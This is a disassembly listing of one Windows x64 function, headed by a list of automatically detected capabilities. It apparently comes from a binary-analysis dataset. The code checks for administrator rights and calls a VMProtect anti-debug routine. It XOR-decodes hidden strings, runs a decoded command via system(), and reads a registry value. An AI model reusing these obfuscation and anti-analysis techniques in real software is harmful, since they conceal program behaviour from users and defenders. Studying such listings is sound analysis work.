Function at 0x140789fe0
Capabilities:
Create thread
Delete file
Encode data using xor
Execute command
Get token membership
Query or enumerate registry value
Set console window title
Set registry value
Terminate process

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x3e8]
sub rsp, 0x4c0
movaps xmmword [rax - 0x38], xmm6
movaps xmmword [rax - 0x48], xmm7
mov rax, qword [0x14084b080]
xor rax, rsp
mov qword [rbp + 0x390], rax
xor esi, esi
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rdi, rax
xor edx, edx
mov rcx, rax
call qword [sym.imp.USER32.dll_GetSystemMenu]
mov rbx, rax
xor r8d, r8d
mov edx, 0xf030
mov rcx, rax
call qword [sym.imp.USER32.dll_RemoveMenu]
xor r8d, r8d
mov edx, 0xf020
mov rcx, rbx
call qword [sym.imp.USER32.dll_RemoveMenu]
xor r8d, r8d
mov edx, 0xf060
mov rcx, rbx
call qword [sym.imp.USER32.dll_RemoveMenu]
xor r8d, r8d
mov edx, 0xf000
mov rcx, rbx
call qword [sym.imp.USER32.dll_RemoveMenu]
lea edx, [rsi - 0x10]
mov rcx, rdi
call qword [sym.imp.USER32.dll_GetWindowLongW]
btr eax, 0x12
mov r8d, eax
lea edx, [rsi - 0x10]
mov rcx, rdi
call qword [sym.imp.USER32.dll_SetWindowLongW]
mov ecx, 0xfffffff6
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rbx, rax
lea rdx, [rbp + 0xc8]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetConsoleMode]
mov edx, dword [rbp + 0xc8]
and edx, 0xffffffaf
mov dword [rbp + 0xc8], edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_SetConsoleMode]
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rbx, rax
lea rdx, [rbp + 0xd0]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetConsoleScreenBufferInfo]
movzx edx, word [rbp + 0xe0]
sub dx, word [rbp + 0xdc]
inc dx
movzx ecx, word [rbp + 0xd0]
mov word [rbp + 0x140], cx
mov word [rbp + 0x142], dx
mov edx, dword [rbp + 0x140]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_SetConsoleScreenBufferSize]
test eax, eax
jne 0x14078a169
lea rdx, str.SetConsoleScreenBufferSize___failed__Reason:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140798380
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
mov rcx, rbx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
lea rdx, [0x140798550]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea ecx, [rsi + 1]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
lea rcx, str.Keyauth_std
call qword [sym.imp.VMProtectSDK64.dll_VMProtectBeginUltra]
mov cl, 1
call qword [sym.imp.VMProtectSDK64.dll_VMProtectIsDebuggerPresent]
mov ecx, 8
call fcn.140810194
lea rcx, [0x1407867b0]
mov qword [rax], rcx
mov qword [rbp + 0x148], rax
lea rcx, [rbp + 0x268]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], esi
mov r9, rax
lea r8, [0x14079b1b0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp + 0x260], rax
test rax, rax
je 0x14079528e
movups xmm3, xmmword [str.gtww]
movups xmmword [rbp + 0x170], xmm3
mov r13d, dword [reloc.WS2_32.dll_accept]
pextrw eax, xmm3, 7
test ax, ax
je 0x14078a327
cmp r13d, 2
jl 0x14078a2e6
movdqa xmm4, xmmword [0x14083ca40]
movdqa xmm2, xmmword [0x14083c9b0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14083c9f0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
paddw xmm2, xmmword [0x14083ca00]
movq xmm1, xmm3
xorps xmm2, xmm1
movq qword [rbp + 0x170], xmm2
movdqa xmm3, xmmword [0x14083c9c0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14083c9f0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
paddw xmm2, xmmword [0x14083ca00]
movq xmm0, qword [rbp + 0x178]
xorps xmm2, xmm0
movq qword [rbp + 0x178], xmm2
jmp 0x14078a327
lea r9, [rbp + 0x170]
mov r8d, esi
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x3a
movzx eax, r8w
sub ax, cx
add ax, 0x30
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 8
jl 0x14078a2f0
lea rcx, [rbp + 0x170]
call qword [sym.imp.KERNEL32.dll_SetConsoleTitleW]
mov dword [rbp + 0x140], esi
mov ebx, esi
mov qword [rbp + 0xc0], rsi
mov dword [rbp + 0x148], ebx
mov word [rbp + 0x14c], 0x500
lea rax, [rbp + 0xc0]
mov qword [rsp + 0x50], rax
mov dword [rsp + 0x48], esi
mov dword [rsp + 0x40], esi
mov dword [rsp + 0x38], esi
mov dword [rsp + 0x30], esi
mov dword [rsp + 0x28], esi
mov dword [rsp + 0x20], esi
mov r9d, 0x220
mov r8d, reloc.WLDAP32.dll_Ordinal_32
mov dl, 2
lea rcx, [rbp + 0x148]
call qword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
test eax, eax
je 0x14078a3af
lea r8, [rbp + 0x140]
mov rdx, qword [rbp + 0xc0]
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
test eax, eax
jne 0x14078a3b7
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
mov rcx, qword [rbp + 0xc0]
test rcx, rcx
je 0x14078a3d0
call qword [sym.imp.ADVAPI32.dll_FreeSid]
mov qword [rbp + 0xc0], rsi
test ebx, ebx
jne 0x1407952a6
cmp dword [rbp + 0x140], ebx
jne 0x14078a62c
lea edx, [rbx + 0xc]
mov rcx, qword [0x14084db10]
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
movups xmm0, xmmword [0x140826aa0]
movups xmmword [rbp + 0xd0], xmm0
movups xmm1, xmmword [str._2b______:_9_9_qQ]
movups xmmword [rbp + 0xe0], xmm1
movzx eax, word [0x140826ac0]
mov word [rbp + 0xf0], ax
cmp r13d, 2
jl 0x14078a56a
movdqa xmm5, xmmword [0x14083c9b0]
movdqa xmm4, xmmword [0x14083ca40]
movdqa xmm6, xmmword [0x14083c9f0]
movdqa xmm0, xmmword [str.0000000000000000O]
movdqa xmmword [rbp + 0x170], xmm0
lea rcx, [rbp + 0xd0]
mov edx, dword [rbp + 0x170]
nop dword [rax]
movd xmm2, esi
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14083ca10]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rsi + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14083ca10]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add esi, 8
mov eax, esi
lea rcx, [rcx + 8]
cmp esi, 0x20
jl 0x14078a460
cmp eax, 0x22
jge 0x14078a5af
movsxd rax, esi
lea r8, [rbp + 0xd0]
add r8, rax
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul esi
add edx, esi
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x3a
movzx eax, sil
sub al, dl
add al, 0x30
xor byte [r8], al
inc esi
lea r8, [r8 + 1]
cmp esi, 0x22
jl 0x14078a580
lea rdx, [rbp + 0xd0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140798380
mov edx, reloc.WS2_32.dll_ntohs
mov rcx, qword [0x14084db10]
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
nop
cmp dword [rbp + 0x268], 0
je 0x14078a5f0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
int3
xor eax, eax
mov rcx, qword [rbp + 0x390]
xor rcx, rsp
call fcn.14080fdb0
lea r11, [rsp + 0x4c0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
call fcn.140787f40
mov eax, dword [0x140826800]
mov dword [rbp + 0xc8], eax
cmp byte [0x140826803], 0
je 0x14078a723
cmp r13d, 2
jl 0x14078a6e3
movdqa xmm3, xmmword [0x14083c9b0]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x14083ca40]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x14083ca40]
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm3
psrad xmm2, 5
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmmword [0x14083c9f0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14083ca10]
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.0000000000000000O]
movd xmm0, eax
xorps xmm2, xmm0
movd dword [rbp + 0xc8], xmm2
jmp 0x14078a723
lea r9, [rbp + 0xc8]
mov r8d, esi
nop dword [rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x14078a6f0
lea rcx, [rbp + 0xc8]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 8
call fcn.140810194
lea rcx, [0x140787e70]
mov qword [rax], rcx
mov qword [rbp + 0x148], rax
lea rcx, [rbp + 0x278]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], esi
mov r9, rax
lea r8, [0x14079b1b0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp + 0x270], rax
test rax, rax
je 0x14079527c
lea r12, [0x140000000]
lea rdi, [0x14084cb70]
lea rbx, [0x14084c760]
lea r15, [0x14084b108]
nop dword [rax + rax]
call fcn.140786ab0
call fcn.140789730
mov edx, 3
mov rcx, qword [0x14084db10]
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
movsd xmm0, qword [str.:xVVZA_Q_KI]
movsd qword [rbp + 0x48], xmm0
mov eax, dword [0x140826c38]
mov dword [rbp + 0x50], eax
movzx eax, word [0x140826c3c]
mov word [rbp + 0x54], ax
cmp byte [0x140826c3d], 0
je 0x14078a93e
mov ecx, esi
cmp r13d, 2
jl 0x14078a8fc
movdqa xmm4, xmmword [0x14083ca40]
movdqa xmm2, xmmword [0x14083c9b0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14083c9f0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14083ca10]
packuswb xmm2, xmm2
mov eax, dword [str.0000000000000000O]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [str.:xVVZA_Q_KI]
xorps xmm2, xmm0
movd dword [rbp + 0x48], xmm2
movdqa xmm3, xmmword [0x14083c9c0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14083c9f0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14083ca10]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x4c]
xorps xmm2, xmm1
movd dword [rbp + 0x4c], xmm2
mov ecx, 8
movsxd rax, ecx
lea r8, [rbp + 0x48]
add r8, rax
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x3a
movzx eax, cl
sub al, dl
add al, 0x30
xor byte [r8], al
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0xe
jl 0x14078a910
lea rdx, [rbp + 0x48]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140798380
mov edx, reloc.WS2_32.dll_ntohs
mov rcx, qword [0x14084db10]
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
movups xmm7, xmmword [0x1408267c0]
movups xmmword [rbp + 0xd0], xmm7
movsd xmm0, qword [0x1408267d0]
movsd qword [rbp + 0xe0], xmm0
cmp word [0x1408267d6], 0
je 0x14078aad7
mov r8d, esi
cmp r13d, 2
jl 0x14078aa91
movdqa xmm4, xmmword [0x14083ca40]
movdqa xmm6, xmmword [0x14083ca00]
movdqa xmm2, xmmword [0x14083c9b0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14083c9f0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm1, xmm7
xorps xmm3, xmm1
movq qword [rbp + 0xd0], xmm3
movdqa xmm2, xmmword [0x14083c9c0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14083c9f0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm0, qword [rbp + 0xd8]
xorps xmm3, xmm0
movq qword [rbp + 0xd8], xmm3
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0xd0]
lea r9, [r9 + rax*2]
nop
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x3a
movzx eax, r8w
sub ax, cx
add ax, 0x30
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0xc
jl 0x14078aaa0
movups xmm1, xmmword [0x140826790]
movups xmm0, xmmword [0x140826780]
movups xmmword [rbp + 0x180], xmm1
movups xmmword [rbp + 0x170], xmm0
movups xmm1, xmmword [0x1408267b0]
movups xmm0, xmmword [0x1408267a0]
movups xmmword [rbp + 0x1a0], xmm1
movups xmmword [rbp + 0x190], xmm0
cmp r13d, 2
jl 0x14078ac31
movdqa xmm5, xmmword [0x14083c9b0]
mov edx, esi
movdqa xmm4, xmmword [0x14083ca40]
movdqa xmm6, xmmword [0x14083c9f0]
movdqa xmm7, xmmword [0x14083ca00]
lea rcx, [rbp + 0x170]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm7
paddw xmm3, xmm2
movq xmm0, qword [rcx]
xorps xmm3, xmm0
movq qword [rcx], xmm3
lea eax, [rdx + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm7
paddw xmm3, xmm2
movq xmm0, qword [rcx + 8]
xorps xmm3, xmm0
movq qword [rcx + 8], xmm3
add edx, 8
lea rcx, [rcx + 0x10]
cmp edx, 0x20
jl 0x14078ab42
jmp 0x14078ac77
lea r9, [rbp + 0x170]
mov r8d, esi
nop dword [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x3a
movzx eax, r8w
sub ax, cx
add ax, 0x30
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0x20
jl 0x14078ac40
mov qword [rsp + 0x30], r15
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x20], rsi
mov r9d, 2
lea r8, [rbp + 0xd0]
lea rdx, [rbp + 0x170]
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegGetValueW]
mov dword [0x14084b108], 0x1fe
movsd xmm0, qword [str.PQ___SpMP]
movsd qword [rbp + 0x58], xmm0
mov eax, dword [0x140827940]
mov dword [rbp + 0x60], eax
movzx eax, word [0x140827944]
mov word [rbp + 0x64], ax
cmp byte [0x140827945], 0
je 0x14078ae2e
mov ecx, esi
cmp r13d, 2
jl 0x14078adf1
movdqa xmm4, xmmword [0x14083ca40]
movdqa xmm2, xmmword [0x14083c9b0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14083c9f0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14083ca10]
packuswb xmm2, xmm2
mov eax, dword [str.0000000000000000O]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [str.PQ___SpMP]
xorps xmm2, xmm0
movd dword [rbp + 0x58], xmm2
movdqa xmm3, xmmword [0x14083c9c0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14083c9f0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14083ca10]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x5c]
xorps xmm2, xmm1
movd dword [rbp + 0x5c], xmm2
mov ecx, 8
movsxd rax, ecx
lea r8, [rbp + 0x58]
add r8, rax
nop dword [rax + rax]
mov eax, 0x8d3dcb09
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x3a
movzx eax, cl
sub al, dl
add al, 0x30
xor byte [r8], al
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0xe
jl 0x14078ae00
lea rdx, [rbp + 0x58]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140798cd0
mov rcx, rax
mov rdx, rbx
call fcn.140799030
movups xmm7, xmmword [str.xFbA_S___ORX]
movups xmmword [rbp + 0xd0], xmm7
movsd xmm0, qword [0x140826ed8]
movsd qword [rbp + 0xe0], xmm0
mov eax, dword [0x140826ee0]
mov dword [rbp + 0xe8], eax
cmp word [0x140826ee2], 0
je 0x14078afd7
mov r8d, esi
cmp r13d, 2
jl 0x14078af86
movdqa xmm4, xmmword [0x14083ca40]
movdqa xmm6, xmmword [0x14083ca00]
movdqa xmm2, xmmword [0x14083c9b0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14083c9f0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm1, xmm7
xorps xmm3, xmm1
movq qword [rbp + 0xd0], xmm3
movdqa xmm2, xmmword [0x14083c9c0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14083c9f0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm0, qword [rbp + 0xd8]
xorps xmm3, xmm0
movq qword [rbp + 0xd8], xmm3
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0xd0]
lea r9, [r9 + rax*2]
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x3a
movzx eax, r8w
sub ax, cx
add ax, 0x30
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0xe
jl 0x14078afa0
movups xmm1, xmmword [0x140826e10]
movups xmm0, xmmword [str.chagqxjtMKHRIP.50__]
movups xmmword [rbp + 0x180], xmm1
movups xmmword [rbp + 0x170], xmm0
movups xmm1, xmmword [0x140826e30]
movups xmm0, xmmword [0x140826e20]
movups xmmword [rbp + 0x1a0], xmm1
movups xmmword [rbp + 0x190], xmm0
mov eax, dword [0x140826e80]
movups xmm1, xmmword [0x140826e50]
movups xmm0, xmmword [0x140826e40]
mov dword [rbp + 0x1f0], eax
movups xmmword [rbp + 0x1c0], xmm1
movups xmmword [rbp + 0x1b0], xmm0
movzx eax, word [0x140826e84]
movups xmm1, xmmword [0x140826e70]
movups xmm0, xmmword [0x140826e60]
mov word [rbp + 0x1f4], ax
movups xmmword [rbp + 0x1e0], xmm1
movups xmmword [rbp + 0x1d0], xmm0
mov r8d, esi
cmp r13d, 2
jl 0x14078b197
movdqa xmm5, xmmword [0x14083c9b0]
movdqa xmm4, xmmword [0x14083ca40]
movdqa xmm6, xmmword [0x14083c9f0]
movdqa xmm7, xmmword [0x14083ca00]
lea rcx, [rbp + 0x170]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm7
paddw xmm3, xmm2
movq xmm0, qword [rcx]
xorps xmm3, xmm0
movq qword [rcx], xmm3
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm7
paddw xmm3, xmm2
movq xmm0, qword [rcx + 8]
xorps xmm3, xmm0
movq qword [rcx + 8], xmm3
add r8d, 8
lea rcx, [rcx + 0x10]
cmp r8d, 0x40
jl 0x14078b0a0
cmp r8d, 0x43
jge 0x14078b1e7
movsxd rax, r8d
lea r9, [rbp + 0x170]
lea r9, [r9 + rax*2]
nop word [rax + rax]
